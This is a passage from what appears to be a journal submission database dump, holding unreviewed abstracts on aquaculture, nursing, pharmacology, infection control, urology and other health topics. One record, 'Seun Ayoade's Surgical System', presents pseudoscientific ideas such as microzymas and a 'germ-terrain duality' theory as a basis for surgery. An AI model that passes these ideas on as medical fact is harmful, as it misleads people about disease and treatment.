Rice cum Pig (FRPi) were studied for production performance for period of one year. Comparison between productivity of (FRPo), (FRPi) and single system of production of fish, rice, poultry and pig were carried out.  Seventeen farms (five fish farms, five poultry farms, five pig production farms and two rice plantations) were selected for the comparison based on their close proximity with the research site so as to reduce spatial error and error due to the influence of climate and weather. Production performance data were monitored daily in the IA systems and in-depth interview was used to collect information on single system of production of rice, fish, poultry and pig. The data collected were subjected to descriptive statistics such as mean, median, and frequency using SPSS version 22.\r\nThe result of production performance showed that the average weight of fish under FRPo at 12 weeks was 309.9±1.78g; the feed conversion ratio and percentage survivability of the fish under this system were 1.39 and 72.6 respectively; while twenty five kilogram of rice was harvested per 50m². Also, the average weight of fish under FRPi at 12 weeks was 179±1.3g; the feed conversion ratio and percentage survivability of the fish under this system were 1.25 and 50 respectively; twenty eight kilogram of rice was harvested per 50m² under FRPi. The average feed conversion ratio and percentage survivability of fish under the single system of production studied were 1.1 and 78.99 respectively and average weight of rice harvested per 50m² was 11.3kg.\r\nIntegrated fish farming was more productive and profitable than unitary system of farming as it ensured a spread of financial risk because of its varied and diversified nature in rearing of fish, animals and crops. However, there is need for more research to study suitable management strategies to ensure maximum yields in integrated aquaculture systems. \r\n',' Aquaculture, Aquaculture diversification, Multi-trophic aquaculture\r\n\r\n',1774,NULL,'2019-08-26',NULL,'Submitted',2,NULL,'2019-10-01',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(1674,2077,85,0,'iphspr-19-1674','Engaging nurses in research and quality improvement is associated with higher job satisfaction and lower rates of unscheduled time off work: a pilot study',NULL,14,0,NULL,'Abstract\r\nEngaging nurses in research and quality improvement is associated with higher job satisfaction and lower rates of unscheduled time off work: a pilot study\r\n\r\n\r\nAim\r\nWe aim to identify associations which may help support strategies to increase job satisfaction and reduce unscheduled time off work for nurses. \r\n\r\nBackground\r\nGiven current concerns regarding nursing workforce and retention, it is vital we identify strategies and factors which maintain job satisfaction, support staff retention and reduce unscheduled time off work within nursing teams.\r\n\r\nDesign\r\nAs part of a quality improvement project we conducted and distributed an online anonymous survey.\r\n\r\nMethod\r\nLikert scales were used to measure job satisfaction, perceived quality of care, wellbeing, and unscheduled time off work. We explored participation in project work of any kind in the preceding 12 months, and captured nursing experience and current area of practice (inpatient/outpatient). \r\n\r\nResults\r\n350 complete responses were analysed. Nurses engaged in research or QIPs were more like to have higher perceived levels of patient care(p=0.0001), wellbeing(p=0.0001) and job satisfaction(p=0.0001) and reported lower levels of unscheduled time off work(p=0.0001).\r\n\r\nConclusion\r\nNurses engaged in research or quality improvement projects reported higher levels of job satisfaction, wellbeing, perceived higher levels of care in their workplace, and had lower levels of unscheduled time off work. \r\n\r\nImpact\r\nWe suggest that involving nurses in research/QIPs may improve workforce instability and job satisfaction. \r\n\r\n',' Nurse, Research, QIP, Job Satisfaction, Unscheduled time off work',471,NULL,'2019-08-26',NULL,'Submitted',4,NULL,'2020-01-13',NULL,1,1,'0',' ',0,NULL,NULL,2,0,0,0,NULL,0),(1676,2078,45,0,'iphsj-19-1676','TRAINING PROGRAM OF AEROBIC AND STRENGTH EXERCISE ON PHYSICAL AND METABOLIC HEALTH OF YOUNG FEMALE UNDERGRADUATE STUDENTS',NULL,14,0,NULL,'Background: verify the efficiency of a compound training program on behavioral features related to both physical exercise and physical and metabolic health of young female undergraduate students. Method: an intervention study was carried out with female undergraduate students from 18 to 25 years old. It was evaluated their anthropometric profile and body composition, physical activity level, physical and cardiovascular health. Besides that, it was analyzed Short-Chain Fatty Acids (SCFA) in faecal samples, and a compound physical exercise program (resistance and aerobic) was carried out during 8 weeks, three times a week. Results: an 8-week compound training protocol promote positive effects on the behavioral, physical activity, anthropometric, body composition, hemodynamic, physical fitness and SCFA. The analysis of SCFA concentration in faeces identified detected an increase in acetic acids and in acetic/propionic ratio, as well as a decrease in butyric acids, formic acids and isovaleric acids. Conclusions: the results showed that intervention in physical and metabolic health are efficient and it is also a potential mean of promoting behavioral changes, mainly regarding physical activities and motivational factors.',' Methodology; Physical Training; Women; Student; Young; Short-Chain Fatty Acids; Health.',685,NULL,'2019-08-26',NULL,'Submitted',2,NULL,'2019-09-13',NULL,1,1,'0',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(1863,2316,91,0,'ijddr-19-1863','STUDY ON OFF-LABEL USE OF ANTIPSYCHOTICS AND ANTIDEPRESSANTS WITH ASSOCIATED ADVERSE DRUG REACTIONS',NULL,14,3,NULL,'Objective\r\nTo determine the level of scientific support and frequency of off-label prescribing pattern for antipsychotics and antidepressants. In addition to monitoring adverse drug reactions in patients prescribed with antipsychotic and antidepressant drugs.\r\nMaterials and Method\r\nAn observational prospective and retrospective study was carried for the capturing and monitoring of off-labeled uses and associated ADR\'s of antipsychotics & antidepressants, in a Tertiary Care Teaching Hospital for six months. Individual drug package insert (US-FDA) was used as a reference basis to ascertain the off-label prescribing. The data was analyzed aimed at establishing a causal association between drug ADRs combination using standardized WHO-UMC Causality Assessment Scale.\r\nResults\r\nA total no. of 549 patients were involved in the study with a mean age of 37.34 ± 12.618 years (range 10–82 years). The male patient\'s comprised 233 (42.44%) and 316 (57.55%) of females. A total of 1543 drugs prescribed in which the 702 (45.49%) were antipsychotic and antidepressants. The total no. of drug indication was 560, and 221(31.48%) of drugs prescribed without any indication. Amitriptyline 137(19.51%) was the most commonly prescribed drug followed by the Escitalopram 120(17.09%), Clonazepam 85(12.10%), Fluoxetine 79(11.25%), Sertraline 46(6.55%), etc. The total no. of 238 ADR\'s were reported in the sum of both retrospective and prospective studies. The most frequently drug causing ADR was reported as Escitalopram 83(34.72%) followed by Fluoxetine 59(24.68%), Sertraline 33(13.80%), Paroxetine 15(6.27%) and Amitriptyline 14(5.85%).\r\nConclusion\r\nIn our study, we noticed that the prescribing of off-label medicines is common in psychiatric practice, but this is not restricted to psychiatric setup only; other departments are also involved prescriptions of psychotherapy drugs used in different ailments.\r\nThe outcomes of our study have highlighted a requirement to ensure a lot of scientific evidence about the risks and benefits of off-label medications expanding the accountability of doctors towards safe medication practices.\r\n',' Key words: Off-label use, Antipsychotics & Antidepressants, Adverse drug reaction.\r\n',2231,NULL,'2019-08-29',NULL,'Submitted',18,NULL,'2020-05-20',NULL,1,1,'0','',0,NULL,NULL,1,0,0,0,NULL,0),(1998,2526,91,0,'ijddr-19-1998','GGene expression profiling and functional annotation of dengue virus',NULL,14,0,NULL,'Background: Dengue, a viral infection caused by four types of viruses and these viruses are transmitted through the bite of infected female mosquitoes. They infect humans and leading to\r\n the diseases ranging from acute self-limiting febrile illness to life-threatening dengue, hemorrhagic fever, and the dengue shock syndrome. Detailed analyses of the Gene expression profiles and functional profiling are pre-eminent in characterizing the pathogenesis of dengue\r\nvirus to promulgate the symptomatic dengue hemorrhagic fever. This paves the way to generate the predicted functions of gene targets in normal versus diseased data sample sets. Methods: Here, we have analyzed the gene expression profiling for dengue hemorrhagic fever, dengue fever, and normal human dataset. For generating DEGs establish, FunCoup2.0 has been\r\nused for every one of the systems all through the work and Cytoscape has been used for system perception. For a large portion of our coding and estimations, MATLAB has been utilized. Results: Our study is a predictive scheme based on gene expression datasets related to dengue virus where the studies conclusively suggest that pathways and networks of expression and functional profiles contribute towards the prognosis of the disease.',' Dengue Virus, Pathogenesis, gene expression, innate immunity, dengue hemorrhagic fever, vascular fragility, comparative genomics.',2231,NULL,'2019-09-02',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(2051,2613,91,0,'ijddr-23-2051','Bacterial isolates from lonar lake produce antimicrobial factors  effective against MDR pathogen',NULL,14,3,NULL,'Lonar lake being one of its kind is a crater impact saline lake that harbors extremophile vegetation and organisms with unusual properties. Several microorganisms has been isolated from this lake and studied for their properties. The current project involved an antimicrobial lonar isolate: Bacillus sp. which was screened for its activity against six multi-drug resistant human pathogens and showed positive results against Enterococcus faecalis. The growth parameters of the antibacterial Bacillus sp were optimized and the compound was extracted using chloroform as solvent. The crude extract and partially purified compound was further characterized using TLC and HRMS.','  Lonar lake, Extremophile, Alkaliphile, Antiniotic resistant human pathogen, Antibacterial',1325,NULL,'2019-09-03',NULL,'Submitted',2,NULL,'2023-11-13',NULL,1,1,'0','',0,NULL,NULL,1,0,0,0,NULL,0),(2079,2641,91,0,'ijddr-19-2079','Role of Drug Related Self Esteem in Relationship between Drug Related Locus of Control and Depression among Substance Users',NULL,14,3,NULL,'Drug Addiction is one of the most important problems of contemporary society. On the other hand, self-esteem is one of the most important variables and concepts that might have a meaningful influence on this problem. This study aims to investigate the role of self-esteem in the individuals\' tendency to control drug addiction and relapse. For this purpose a new instrument which is determined to evaluate specifically drug related self-esteem has been developed in this study. The statistical population of this study is those individuals who had a record of addiction, and are under treatment in multiple rehabilitation centers in Islamabad and Rawalpindi, Pakistan. The research sample consisted of 230 individuals, with record of addiction. Because of instrument construction approach, factor analysis was performed which came up with 3 factors I.e. Self-Competency, Lack of Self Confidence and Lack of Self Regard. Each item was evaluated on basis of its standard deviation, skewness and kurtosis values. Furthermore during reliability analysis the instrument proved to be reliable with its subscales. Moreover inter-item correlations were also significant. While item construction special checks of singularity and multicolinearity were also obtained. Thus sample adequacy analysis was done by KMO and Bartlet test of sphericity. Overall it is found that Self-esteem had a meaningful role in the individual\'s tendency to addiction. On the basis of the research results, it can be concluded that those who are involved in addiction, have a lower self-esteem. Thus, it is necessary to increase an individual\'s self-esteem in order to decrease their tendency to addiction and relapse. ',' Addiction, Drug related Self-esteem, Rehabilitation, Relapse, Factor analysis, ',2231,NULL,'2019-09-03',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'0','Minor revision',0,NULL,NULL,2,0,0,0,NULL,0),(2120,2710,639,0,'ipfs-19-2120','EFFECT OF DETERGENT ON THE BIOCHEMICAL VARIATIONS ON DIFFERENT TISSUE OF LABEO ROHITA',NULL,14,0,NULL,'The biochemical components like protein, carbohydrate and lipid were estimated quantitatively in the tissue of gills, liver, kidney and muscle of control and detergent treated fishes. 	The fishes were treated with sub lethal concentrations of 1.5% for 15 days exposure and another 15 days for recovery period. The protein content of the gill of the control fish was 85.18 ± 0.68 mg/g, while in treated fish it was reduced to 43.30 ± 0.04 mg/g after 15 days exposure to detergent. The protein content of the kidney, liver and muscle of the control fish were 53.44 ± 0.03, 68.28 ± 0.05 and 94.22 ± 0.05 mg/g while in treated fish it were reduced to 60.16 ± 0.04, 60.54 ± 0.04 and 78.14 ± 0.05 mg/g after 15 days of exposure respectively.the carbohydrate and lipid content of the gills, liver and muscle also showed similar declining trend at during study period.During recovery period, the restoration of protein, carbohydrate and lipid level were found be slow and gradual',' Fish Organ, Arial detergent, 15days, LC50,Biochemical Components',1771,NULL,'2019-09-04',NULL,'Submitted',4,NULL,'2020-03-20',NULL,1,1,'0','',0,NULL,NULL,2,0,0,0,NULL,0),(2272,2966,45,0,'iphsj-19-2272','Covariates on Vision Problems and their Relationship of Rajshahi Medical College Hospital (RMCH)',NULL,14,0,NULL,'Vision is very important for all living being and the sharpness of vision may be affected due to various causes like scarcity of the proper vitamins, minerals, balanced food, age and some other related covariates. The objectives of the major concern was to identify the influencing covariates among the 21 assigned variables of 72 patients who were suffering from various eye related problems following authors’ survey data following the purposive sampling technique. A throughout investigation and constructive analysis of the influential covariates have performed and the results are enlisted in result discussion section accordingly. As addition, history of vision problem and family history of diabetics, pathological examination, duration of diabetics and regularity in visiting doctors may be have causal effect on vision problems we are given priorities on them.  According to the pathological examination records only 4% patients depend on the HbA1c test, 22% on urine test and 74% on RBS test to know the diabetic status of the study area. Hypertension is one more risk factor having negative influences on the vision problem. This study shows about 39% of the patients have hypertension and rest 61% of the patients have not hypertension. About 54% of the patients feeling that they are facing vision problem due to aged cause and rest 45% of the patients are feeling that they are facing vision problem due to diabetics. It is evident from the ophthalmic examination results that about 18% of the patients have normal vision and somewhat any deviation from normal vision have found for the rest 82% patients. The association between different covariates have been analysed following the Pearson’s Chi-Square test statistic. The asymptotic significant relation of vision has been unearthed with controlling method of diabetics and duration of hypertension will help to the concerning agencies for policy implication in the consigned area.','Vision Problem, Ophthalmic examination, Hypertension, Diabetics, Covariates',651,NULL,'2019-09-09',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2273,2967,45,0,'iphsj-19-2273','Nurses Practices toward applying of Infection Control measures using NOTICE checklists at dialysis unit',NULL,14,0,NULL,'Background:  Patients on maintenance hemodialysis therapy and health care providers at unique, complex as hemodialysis outpatient clinic are susceptible for health care-associated infection.  Nurse’s compliance to follow infection control measures reduce transmission of infection. \r\nAim: The study aimed to evaluate the nurses’ practices toward applying infection control measures at dialysis unit. \r\nMethods & design: A cross-sectional study was applied to evaluate nurses’ performance toward application of infection control measures using national opportunity to improve infection control in end stage renal disease (NOTICE) checklists at dialysis unit, Beni-Suef City, Egypt. \r\nResults: The overall nurses’ performance regrading to infection control aspect at enrolled dialysis unit as the following, The percentage of all NOTICE checklists, demonstrated as half of nurses had met most of steps for checklist #1c Access of A.V fistula or Graft for initiation of dialysis (55.87%) and ICE Checklist #2: Parenteral Medication Preparation and Administration (48.13%), ICE Checklist #3b: Access of AV Fistula* or Graft for Termination of Dialysis and Post Dialysis Access Care (48.1%), the lowest level of performance found was ICE Checklist #1b: Central Venous Catheter (CVC) Exit Site Care (22.8%). In addition, the 1st and 2nd observations which notice that nurses ignore hand hygiene, and not committed to wear clean gloves as needed. \r\nConclusion: Based on the finding of this study using of NOTICE assessment checklists and highlighted to develop and follow strict infection control system at dialysis unit focusing on nursing staff to prevent infection transmission especially with chronic patient on maintenance hemodialysis therapy.','infection control, dialysis unit',2502,NULL,'2019-09-09',NULL,'Submitted',2,NULL,'2019-09-17',NULL,1,1,'1',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(2274,498,45,0,'iphsj-19-2274','Pituitary adenoma, multiple sclerosis and visual impairment: how are they related? A case report',NULL,2,0,NULL,'Prolactin-secreting pituitary adenoma and Multiple Sclerosis have been found in many patients and attempts to establish the relationship between them have drawn the attention of many researchers. We report the case of a patient who presented with progressive bilateral visual impairment in whom multiple sclerosis and pituitary adenoma were identified on Magnetic Resonance Imaging (MRI) investigation and laboratory test revealed elevated prolactin level. The aim of this study is to create awareness among clinicians in our setting on this unusual association, as correct, early diagnosis and characterization of a disease condition is important to facilitate proper patients’ management.','Multiple Sclerosis, Prolactin-secreting Pituitary Adenoma, Visual Impairment',2503,NULL,'2019-09-09',NULL,'Submitted',2,NULL,'2019-10-03',NULL,1,1,'1',' ',0,NULL,NULL,NULL,0,0,0,NULL,0),(2275,499,45,0,'iphsj-19-2275','Microbiological assessment of disinfection in ambulances of the Mobile Emergency Care Service: A Public Health Study',NULL,14,0,NULL,'Introduction: The Mobile Emergency Care Service, aims to provide relief to people in urgent situations, transporting the victim to a location closer to care. By locomotion or removal of patients in ambulances, it can assist in the spread of microorganisms (bacteria, fungi, and viruses) and even their contamination. Nowadays, the control of infectious diseases has become increasingly difficult due to the evolution of microorganisms. Therefore, due to the mobility of sick people in ambulances, disinfection (concurrent and terminal cleaning of ambulances) is necessary to reduce and even eliminate pathogens. Objective: Due to the high rate of contamination, the objective was to evaluate the microbiological conditions before and after the disinfection of mattresses, hand bars, door handles and ceilings in ambulances of the mobile emergency care service of the city of Fernandópolis, São Paulo. Method: This is descriptive research and experimental analysis in a microbiology laboratory on microbiological conditions before and after disinfection of mattresses, door handles, hand bars and ceilings in ambulances at the Mobile Emergency Care Service of the city of Fernandópolis. / SP. Results: It was observed in the first collection (before disinfection) the contamination of gram-positive bacilli, gram-negative bacilli and Bacilli genera, Pseudômonas sp. Escherichia coli, Clostridium sp, Micrococcus sp, Staphylococcus sp, Streptococcus sp. Fungi Arpergillus flavus, Aspergillus niger, Epidermophyton sp, Candida sp, Penicillium sp, Trichophyton rubrum were also identified. However, after the second collection (after disinfection) a reduction in pathogens was observed. Conclusion: Therefore, it is necessary to create protocols or implement new disinfection practices in materials and equipment of the mobile unit, thus sensitizing health professionals to their care practice with the objective of reducing pathogen transfer between healthcare professional, client and mobile car.','Biological agents, Disinfection, Emergency Relief',685,NULL,'2019-09-09',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2277,2824,326,0,'IPJUS-19-2277','A COMPARATIVE STUDY OF LAPAROSCOPIC PYELOLITHOTOMY AND PERCUTANEOUS NEPHROLITHOTOMY IN THE MANAGEMENT OF LARGE SOLITARY RENAL PELVC STONE',NULL,14,0,NULL,'Aims and Objectives: The aim of this study was to compare laparoscopic retroperitoneal pyelolithotomy (LRP) and percutaneous nephrolithotomy (PCNL) in the management of large (>2cm) solitary stones of renal pelvis. Materials and Methods: This was a prospective randomized study in which patients with solitary renal pelvic stones larger than 2cm were randomized in to two groups, LRP Group and (PCNL) Group. The characteristics which were compared between the two groups include operative time, intraoperative complications, hemorrhage requiring blood transfusion, postoperative pain assessed by VAS score and analgesic requirement, maximum stone clearance, conversion to open pyelolithotomy, postoperative complications and hospital stay. Results: There was a stastiscally significant difference between the two groups regarding mean operative time 130.57min LRP Group VS 71.67 min. PCNL Group, p<0.001, average blood loss 94.5ml LRP Group VS 126.17ml PCNLGroup, p=0.032, postoperative pain quantified by VAS score and analgesic requirement 5.06 in first 24 hours LRP Group VS 2.5 PCNL Group, p<0.001, hospital stay 4.96 days LRP Group VS 3.7 days PCNL Group, p<0.05. The Intraoperative and postoperative complications were more in LRP Group than the PCNL group but the difference was not statistically significant. Four patients in the LRP group required conversion to open, however no conversion was required in the PCNL group. No difference was noted in the stone clearance between the two groups. Conclusion: Percutaneous nephrolithotomy is superior to laparoscopic retroperitoneal pyelolithotomy in the management of large size stones of renal pelvis, in terms of operating time, blood loss, analgesic requirement and hospital stay.','Renal pelvic calculus; Randomization; Laparoscopic retroperitoneal Pyelolithotomy; Percutaneous nephrolithotomy.',2505,NULL,'2019-09-09',NULL,'Submitted',2,NULL,'2020-01-21',NULL,1,1,'0','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(2416,3134,45,0,'iphsj-19-2416','The Association of Patient Safety Culture with Hospital Safety Performance: A Cross-sectional Survey',NULL,14,0,NULL,'Background \r\nThe theme of patient safety has been extensively studied since the publication of two landmark reports “To Err is Human” and “Crossing the Quality Chasm” in which advocated creating a culture of safety could avoid the adverse events and medical errors. Patient safety culture(PSC) and staff safety behavior may have an impact on hospital safety performance. To date, evidence in establishing the association of PSC and safety performance remains unclear and inconsistence in developing countries. The aim of this study is to evaluate the association of PSC, staff safety behavior and hospital safety performance.\r\n\r\nMethods\r\nA convenient sample of five tertiary general hospitals in Harbin, China, with more than 1000 beds respectively, were evolved in this onsite cross-sectional survey. We measured 10 dimensions of Hospital Survey on Patient Safety Culture, 2 dimensions of staff safety behavior and 4 dimensions of hospital safety performance among 507 doctors and nurses using a previously validated self-evaluation questionnaire. Descriptive statistics and logistic regression were utilized.\r\n\r\nResults\r\nThe internal consistency of this study was evaluated by Cronbach\'s alpha=0.94, with a survey positive response rate 60%. In our final logistic regression models, after controlling for the physician/ nurse factors, we found the number of physician/nurses reported errors were significantly associated with Hospital Handoffs &Transitions OR=0.19, 95% CI (0.07-0.53). Staff safety behavior were protective factors for hospital safety management.\r\n\r\nConclusion\r\nThis multicenter cross-sectional study found that PSC and staff safety behavior were associated with hospital safety performance. Staff safety behavior exerts positive effects on safety performance \r\n',' patient safety; safety culture; performance measures',686,NULL,'2019-09-12',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2463,3191,277,0,'ipadm-19-2463','Epigenética y enfermedades crónicas no transmisibles',NULL,15,0,NULL,'Abstract: \r\nIntroduction: Epigenetic processes are chemical reactions that modify the DNA without making any alteration of the sequence already stablished. DNA methylation and histone modification are the better studied epi-tags, which affect the function of one or several genes for good or for bad and produce a highly heritable phenotype as a product. Obesity, diabetes mellitus and cardiovascular diseases, are diseases where environment and lifestyle influences the epigenetic mechanisms in order for the disease to appear or to not. Objective: Review the contents in the literature on epigenetics, its concepts on molecular basis and its implication in pathophysiology, with emphasis on chronic non transmissible diseases such as diabetes mellitus, obesity and cardiovascular disease. Results: It was evidenced that the appearance or repression of these diseases occurred because of epigenetic mechanisms. Conclusion: Various environmental and nutritional factors influence the appearance of diabetes mellitus, obesity and cardiovascular diseases in the patient and their offspring.\r\n',' Epigenetic, DNA Methylation, Histone, Environment',2707,NULL,'2019-09-13',NULL,'Submitted',2,NULL,'2020-01-22',NULL,1,1,'0','Accepted for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(2464,3195,45,0,'iphsj-19-2464','METHODS OF ERGONOMIC EVALUATION IN UPPER LIMB: A REVIEW IN AGRICULTURAL MANUAL WORK',NULL,15,0,NULL,'Background: Into literary collections exists a great availability of kinematic models for upper limbs; e.g. for shoulder modeling, were found that the number of published articles, since 1990 to 2009, can reach 100. Aims: To describe the main ergonomic methods adopted to evaluate the upper limb in manual agricultural work and the quality of available evidence in electronic databases. Methods: A search in scientific literature made through Web of Science, Scopus, ScienceDirect, ESBCO - PubMed and IEEE databases. At the same time, in systematically classified and published articles during the period 2013 to 2018, based on Delphi consensus criteria and evidences analyzed under PRISMA declaration criteria and catalogued in accordance with the approaches of physical ergonomics. Papers selection had basis on the key words: farmers, musculoskeletal, farmers\' upper limb, agricultural risk factor, and occupational risk factor. Along this retrospective study, initially were found 1508 articles, where 37 of them were analyzed.  All selected papers met rigor of inclusion criteria (specific farmer population without mechanical aid), and exclusion (duplicity or triplicate in databases, and intervention with clinical or medical examinations). Conclusion: Results showed that the most of evaluation techniques used are indirect: realized by self-administered questionnaires (SAQ) or self-reporting, this is an evidence of little ergonomic analysis in farmers doing manual work; most of the studies selected were catalogued as good or reasonable quality. This systematic review highlights the needing of adjusting tools in order to identify and evaluate potentially dangerous tasks by their movements and/or postures in real time.',' Upper extremity, agricultural worker, farmers, ergonomics, risk factors, upper limb, musculoskeletal system.',458,NULL,'2019-09-13',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2474,3205,45,0,'iphsj-19-2474','Role of Ferric Sodium EDTA associated with vitamin C, folic acid, copper gluconate, zinc gluconate and selenomethionine administration in patients with secondary anaemia. Effects on hemoglobin value and cardiovascular risk',NULL,14,0,NULL,'INTRODUCTION: Iron-Deficiency anaemia (IDA) has a high impact on the quality of life in older patients when affected by chronic heart failure and/or respiratory diseases. In such frailty patient, IDA causes a worsening of cardiac function and exercise capacity, together with an increased risk for hospitalization and death. Therefore, anaemia evaluation and follow-up are included in cardiovascular guidelines. The aim of this study is to investigate the efficacy and safety of Ferric Sodium EDTA in combination with vitamin C, folic acid, copper gluconate, zinc gluconate and selenomethionine (Ferachel forte®) 2 tabs/day for 24 days, in elderly patients with secondary anaemia, analysing cardiovascular risk and quality of life by means of ECG and bioelectrical impedance (BIA) analyses.  \r\nMATERIALS AND METHODS: We have enrolled 43 elderly patients, divided in 2 groups: one (N=14 patients) treated with oral administration of Ferric Sodium EDTA in combination with vitamin C, folic acid, copper gluconate, zinc gluconate and selenomethionine (Ferachel forte®) 2 tabs/day, containing 60 mg of Fe3+, for 24 days, the second one (N=29 patients) treated with ferrous gluconate 63 mg/day added to saline solution administered using intravenous access during the hospitalization period of 15 + 5 days. We evaluated laboratory values of red blood cells, Hb, and iron blood profile. We measured also the ECG signal and the bioelectrical impedance (BIA). \r\nRESULTS: This study showed that oral treatment with Ferric Sodium EDTA, in combination with vitamin C, folic acid, copper gluconate, zinc gluconate and selenomethionine (Ferachel forte®) at the dosage of 60 mg (2 tabs a day) is an efficacy treatment for the improvement of Hb levels and iron blood profile. Intravenous iron supplementation exposes patients to a greater water supply that is confirmed by BIA analysis and give a statistically significant variation of the T-peak-to-T-end index that represents a predictive parameter of arrhythmic risk. \r\nCONCLUSIONS: The therapy with Ferric Sodium EDTA, in combination with vitamin C, folic acid, copper gluconate, zinc gluconate and selenomethionine (Ferachel forte®) is a new iron formulation used for oral treatment of patients with secondary anaemia.  We used this formulation in the first group of patients and we noted the real superiority in comparison with the intravenous administration of ferrous gluconate about arrhythmic risk, evaluated using Tpeak-to-Tend index, and the risk of side effects due to high doses of saline solution administered intravenously in the second group of our study. We conclude that Ferric Sodium EDTA could be a valid alternative to ferrous gluconate intravenous therapy (gold standard) in the treatment of secondary anaemia in elderly patients.','Iron-Deficiency Anaemia, cardiovascular risk, kidney failure, Ferric Sodium EDTA, elderly, quality of life',690,NULL,'2019-09-13',NULL,'Submitted',2,NULL,'2020-06-10',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2540,3276,639,0,'ipfs-19-2540','Porphyridium cruentum harvesting process: impact to biomass, extracellular polysaccharide and antihyperglycemic activity',NULL,14,0,NULL,'Porphyridium cruentum is one of the red microalga that has potential as an antihyperglycemic agent. The microalgae harvesting process is one of the problems and challenges in microalgae culture which can have effects to the biomass and metabolite compound characteristics including active compounds and antihyperglycemic activity. The aim of this study was to determine effect of harvesting method of P.cruentum to characteristic and antihyperglycemic activity of biomass and extracellular polysaccharide (EPS). Three methods of harvesting were conducted namely centrifugation (C), microfiltration followed by centrifugation (M+C), and sedimentation followed by centrifugation (S+C). The specific harvesting method had a significant influence (p<0.05) on biomass and extracellular polysaccharide (EPS) yield, moisture, NaCl and ash content, IC50 value of biomass and EPS. The highest biomass yield was produced by (S+C) methods with a yield of 2.53 g.L-1,but required three days, while using (M+C) and (C) method produced 0.58 g.L-1 for 25 min and 0.37 g.L-1 for 20 min. The dried EPS obtained from (C), (M+C), and (S-C) methods were 3.44, 1.72, and 2.38 g.L-1, respectively. The IC50 value of α-glucosidase inhibition of extract from biomass harvested using (C), (M+C) and (S+C) methods were 212.36±26.36, 98.58±5.20 and 39.52±0.23 ppm, while IC50 value of EPS were 431.26±5.00, 267.21±17.46, and 249.69±6.56 ppm, respectively. This with the harvesting for P. cruentum is better using microfilration followed centrifugation. ','active compound, α-glucosidase, centrifugation, culture, microfiltration',1771,NULL,'2019-09-15',NULL,'Submitted',2,NULL,'2019-10-01',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(2577,3314,326,0,'IPJUS-19-2577','Introducing Seun Ayoade’s Surgical System S.A.S.S',NULL,3,0,NULL,'SASS is an acronym for Seun Ayoade’s Surgical System. It is surgery involving the microzymas [cellular dust] and the Primo Vascular System, that is to say surgery based on the Germ Terrain Duality Theory of disease.\r\nThe Germ-Terrain duality theory of disease states that the etiology of certain diseases/diseased states is better explained as a complex interplay between germs and the inherent anatomical/physiological integrity of the body cells.','SASS, Surgery, Disease',2505,NULL,'2019-09-18',NULL,'Submitted',4,NULL,'2020-05-27',NULL,1,1,'0','revise the manuscript',0,NULL,NULL,2,0,0,0,NULL,0),(2581,499,45,0,'iphsj-19-2581','A systematic review on the urinary tract infections in patients submitted to bariatric surgery',NULL,15,0,NULL,'Introduction: Urinary tract infections (UTI) are common, accounting for 40% of all hospital infections and affecting about 1.7 million patients annually. Previous studies have shown that up to 80% of UTI are associated with catheters. Still, UTI represent 16.9% of all post-discharge complications in BS patients. Objective: To analyze the incidence of urinary tract infections in patients undergoing BS, as well as whether any patient received prophylactic antibiotics and whether this measure was effective in preventing infections. It has been hypothesized that review procedures are significantly associated with increased UTI rate after BS. Methods: Following literary search criteria with the use of the MeSH Terms that were cited in the item on \"Search strategies\", a total of 34 clinical studies that were submitted for eligibility analysis were checked, and after that, 26 studies were selected, following the rules of systematic review-PRISMA. Results and conclusion: Because E. coli is a gram-negative bacterium and is the most common cause of urinary tract infections, clindamycin monotherapy can leave patients susceptible to gram-negative organisms. American and European guidelines recommend cefazolin prophylaxis. The care package structured by basic evidence-based strategies was able to maintain low surgical site infection rates after BS. BS before elective posterior lumbar fusion reduces the risk of medical complications and infection. It was found that the risk of soft tissue infection and respiratory infection decreased after BS, while the risk of intra-abdominal infection and UTI increased.','Bariatric surgery. Infection. Urinary tract infection. Prevention',2800,NULL,'2019-09-19',NULL,'Submitted',2,NULL,'2020-06-11',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(2582,498,45,0,'iphsj-19-2582','Ultrasonographic and Retrograde Urethrographic Assessment of Aetiological Factors of Bladder Outlet Obstruction in Adult Males in Port Harcourt, Nigeria',NULL,14,0,NULL,'Background: Bladder Outlet Obstruction (BOO) imposes a significant burden on health and quality of life of the affected individuals globally. The incidence and prevalence of BOO in adult males increase as the population ages. With advanced BOO serious complications are common including urinary retention, renal failure and premature death. A considerable number of aetiological factors are responsible for BOO in males, some of which depend on the age and others varies from place to place. Understanding and categorizing these factors are crucial for diagnosis and management. Aims and Objectives: This study was designed to assess the aetiological factors of Bladder Outlet Obstruction (BOO) using ultrasonography and retrograde urethrography, in adult males in Port Harcourt Rivers State, Nigeria. Materials and Method: This was a prospective study, which involved ultrasonography and retrograde urethrography investigations of BOO using General Electric Ultrasound Logic P6 with 3.5 MHz transducer and Italray Static X-ray machine respectively.Two hundred and sixteen adult males with obstructive urinary symptoms referred to the Radiology Department of Rivers State University Teaching Hospital were included in this study. Ethical clearance was obtained from the Institutional Ethical and Research Review Board. Patients’ consent was properly sought and all information obtained was treated with high level of confidentiality. Descriptive statistic was done used on SPSS version 21. Results: Out of 216 patients evaluated, Prostatic Enlargement was highest 64 %( n=138) and the least were adult posterior urethral valve and urethral diverticulum, which is 0.5 % (n=1) respectively. Age group 60-69 years were highest 38.43% (n=83) and the least were within age group 20-29 years age. Conclusion: The most common causes of BOO pathology in this study was prostatic enlargement. 